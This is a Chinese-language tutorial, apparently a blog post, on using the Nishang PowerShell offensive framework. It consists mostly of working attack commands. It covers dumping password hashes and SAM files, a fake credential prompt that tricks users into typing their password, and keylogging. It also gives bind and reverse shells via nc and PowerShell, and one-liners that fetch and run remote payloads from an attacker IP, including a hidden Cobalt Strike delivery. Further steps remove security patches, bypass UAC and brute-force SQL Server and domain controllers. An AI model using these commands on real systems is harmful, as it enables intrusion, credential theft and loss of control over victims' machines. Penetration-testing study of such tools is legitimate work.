前言Nishang
是一个基于PowerShell
攻击脚本和有效载荷的框架和集合,支持使用PowerShell
进行攻击性安全、渗透测试和红队合作,集成了框架、脚本和各种payload(包括下载、执行、后门、扫描、执行、解密、键盘记录等脚本),被广泛用于渗透测试的各个阶段。工具链接:https://github.com/samratashok/nishang
Nishang目录介绍
ActiveDirectory:活动目录
Antak-WebShell:在内存中执行PowerShell脚本,运行命令,并使用此Webshell下载和上载文件。
Backdoors:一个后门,可以从第三方网站接收指令,并在内存中执行PowerShell脚本。
Bypass:实施公共已知方法来绕过
Client:客户端
Escalation:当需要权限时提权
Execution:命令执行(RCE)
Gather:信息收集
MITM:用于MITM攻击的本地HTTPS代理
Misc:脚本
Pivot:跳板、远程执行exe
Prasadhak:对照VirusTotal数据库检查正在运行的进程的运行哈希。
Scan:扫描
Shells:shell
Utility:杂项
Powerpreter:Meterpreter会话
一、Nishang初步使用
执行get-host
命令查看版本信息,Nishang需要Powershell版本在v3以上才能使用(windows10自带的是5.1版本的)以管理员权限打开PowerShell,导入所有的脚本到当前的PowerShell会话中Import-Module -verbose .\nishang.psm1
在PowerShell导入模块的时候是不允许的,在默认的设置, 不允许任何脚本运行(Restricted
),所以我们需要修改权限为remotesigned
输入指令Set-ExecutionPolicy remotesigned
,修改策略后就可以成功导入脚本
执行Get-Command -Module nishang
查看导入的模块中的脚本信息
二、利用Nishang进行信息收集
(1)执行Get-Information
收集本机的信息(可以获取计算机上的大量信息,例如FTP访问、进程、计算机配置信息、无线网络和设备的信息、hosts信息等)
(2)执行Get-PassHashes
抓取计算机的密码hash值信息
代码中定义的函数Get-PassHashes
中定义了多个函数,在函数的最后调用DumpHashes
作为入口函数。
Windows系统下的hash密码格式为(用户名称:RID:LM-HASH值:NT-HASH值
)
(3)执行Get-PassHints
获取用户的密码提示信息
(4)执行Check-VM
用于检测当前的机器是否是一台已知的虚拟机
This is a Hyper-V machine.(结果不是一台虚拟机)
This is a VMWare machine.(如果是虚拟机会显示该结果)
(5)执行Copy-VSS
来复制出SAM文件
执行Copy-VSS
会将SAM文件保存在当前路径下(/nishang-master
)
执行Copy-VSS -DestinationDir C:\TEMP
指定保存文件的路径(必须是已经存在的路径)
(6)执行Invoke-CredentialsPhish
用来欺骗用户输入账号密码信息
."C:\nishang-master\Gather\Invoke-CredentialsPhish.ps1"
Invoke-CredentialsPhish
执行后会弹出这个框欺骗用户去输入账号密码,只有当用户输入正确的账号密码后这个弹框才会消失,然后我们就可以在PowerShell端得到明文的管理员账号密码
(7)执行FireBuster ip -port -Verbose
进行端口扫描
(8)执行Keylogger.ps1
保存用户的键盘记录,保存后的文本为key.log
(在C:\Users\Administrator\AppData\Local\Temp
目录下)
接着使用Nishang Utility
中的Parse_Keys
来解析key.log
文件,解析后的文件就存放着键盘记录Parse_Keys .\key.log .\su.txt
三、利用Nishang实现交互式shell
参数介绍
-IPAddress 反向连接时需要连接到的IP地址
-Port 反向连接时是需要连接到的端口,选择-Bind选项时是需要监听的端口
-Reverse 反向连接
-Bind 正向连接用到的端口监听
基于TCP协议的交互式shell
正向连接(目标在外网而你在内网的时候)
(1)在目标机器运行脚本,执行监听端口(攻击机等会要连接该端口).\Invoke-PowerShellTcp.ps1
Invoke-PowerShellTcp -Bind -Port 5050
(2)在攻击机上使用nc工具正向连接目标机器nc -nv 192.168.98.101 5050
-n 直接使用IP地址,而不通过域名服务器
-v 显示指令执行过程
反向连接(目标在内网而你在外网的时候)
(1)在攻击机上执行nc命令,开启本地端口监听通道Nc -lvp 5050
-l 使用监听模式,管控传入的资料
-v 显示指令执行过程
-p 设置本地主机使用的通信端口(2)在目标机器上执行Invoke-PowerShellTcp -Reverse -IPAddress 192.168.170.128 -Port 5050
反向连接攻击机
基于UDP协议的交互式shell
正向连接(与基于TCP协议的步骤差不多,攻击机的nc命令改变一下)
目标机器执行Invoke-PowerShellUdp -Bind -Port 5555
攻击机执行nc -nvu 192.168.98.101 5555
反向连接(与基于TCP协议的步骤差不多,攻击机的nc命令改变一下)
目标机器执行Invoke-PowerShellUdp -Reverse -IPAddress 192.168.170.128 -Port 5555
攻击机执行nv -lup 5555
基于HTTP/HTTPS协议的交互式shell
(1)在攻击机上使用脚本Invoke-PoshRatHttp -IPAddress 192.168.98.101 -Port 4444
(需要目标机器的ip和端口),然后就会生成一个poc
(2)把poc放到目标机器的powershell上,即可造成反弹shellIEX ((New-Object Net.WebClient).DownloadString('http://192.168.98.101:4444/connect'))
利用Cobalt Strike工具反弹shell
(1)先建立一个监听,然后在Attacks
模块点击Scripted Web Delivery(s)
选项,将建立的监听放到攻击模块中,之后就会生成一个PowerShell类型的反弹shell脚本powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.170.128:80/a'))"
将poc脚本放到目标机器上执行,就能够反弹shell到Cobalt Strike上,随后就能够进行一些列的提权、抓取密码、截取屏幕等操作
如果获取一定的权限(webshell、远程控制等),可以通过cmd打开powershell或者调用powershell.exe程序执行脚本代码
获取目标机器的终端权限,执行cmd指令
截取目标机器的图片(Screenshots
)
获取目标机器的hash值
四、权限提升
(1)尝试本地权限提升,在获取一定权限的情况下,帮助我们提升到System权限
在目标机器上执行Enable-DuplicateToken
(2)删除补丁,补丁可以用来修复系统漏洞等一系列漏洞问题,如果删除补丁就可能造成系统漏洞的再次利用
在目标机器上执行Remove Update
Remove-Update All 移除目标机器上的所有补丁
Remove-Update Security 移除目标机器上所有安全补丁
Remove-Update KB2761226 移除指定编号的补丁
(3)绕过UAC(Bypass UAC
)
Invoke-PsUACme -Verbose
使用Sysprep方法和默认的Payload执行Invoke-PsUACme -method oobe -Verbose
使用oobe方法跟默认的payload执行Invoke-PsUACme -method oobe -Payload "powershell -windowstyle hidden -e YourEncodedPayload"
使用oobe方法跟自制payload执行
Invoke-PsUACme
模块使用来自于UACME项目的DLL来Bypass UAC
五、暴力破解
(1)Scan路径下的Invoke-BruteForce
脚本可以对SQL Server、域控制器、Web以及FTP进行暴力破解
ComputerName 用于指定对应服务的计算机名
UserList 用户名字典
PasswordList 密码字典
Service 服务类型(注意默认为:SQL)
StopOnSuccess 成功找到一个之后就停止执行
Invoke-BruteForce -ComputerName targetdomain.com -UserList C:testusers.txt -PasswordList C:testwordlist.txt -Service ActiveDirectory -StopOnSuccess -Verbose 爆破域控制器
Invoke-BruteForce -ComputerName SQLServ01 -UserList C:testusers.txt -PasswordList C:testwordlist.txt -Service SQL -Verbose 爆破SQL Server
cat C:testservers.txt | Invoke-BruteForce -UserList C:testusers.txt -PasswordList C:testwordlist.txt -Service SQL -Verbose 爆破server.txt中所有servers的SQL Server
爆破SQlServer示例Invoke-BruteForce -ComputerName SQLServ01 -UserList C:wordlist1.txt -PasswordList C:wordlist2.txt -Service SQL -Verbose
(2)Invoke-PortScan
对目标机器环境中的其他主机和端口进行枚举破解
StartAddress 扫描范围开始的地址
EndAddress 扫描范围结束的地址
ScanPort 进行端口扫描
Port 指定扫描的端口号
对目标范围192.168.98.1-196.168.98.254的机器进行枚举,看是否存在开启80端口的机器Invoke-PortScan -StartAddress 192.168.98.1 -EndAddress 192.168.98.254 -ResolveHost -ScanPort -Port 80
参考文章:
https://zhuanlan.zhihu.com/p/27723026
注:本篇文章仅作学习研究,请勿作违法违规操作。
总结
当获取到一定权限的时候,Nishang基于PowerShell来操作指令,往往没有cmd限制的多,利用Nishang工具来进行横向渗透或者是提权等操作都是一个很好的选择。